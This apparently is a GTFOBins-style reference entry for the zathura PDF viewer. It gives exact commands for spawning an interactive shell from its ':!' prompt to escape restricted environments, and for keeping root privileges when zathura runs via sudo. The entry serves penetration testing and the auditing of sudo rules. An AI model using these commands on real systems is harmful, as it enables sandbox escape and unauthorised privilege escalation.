The interaction happens in a GUI window, while the shell is dropped in the terminal.
It can be used to break out from restricted environments by spawning an interactive system shell.
zathura
:! /bin/sh -c 'exec /bin/sh 0<&1'
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo zathura
:! /bin/sh -c 'exec /bin/sh 0<&1'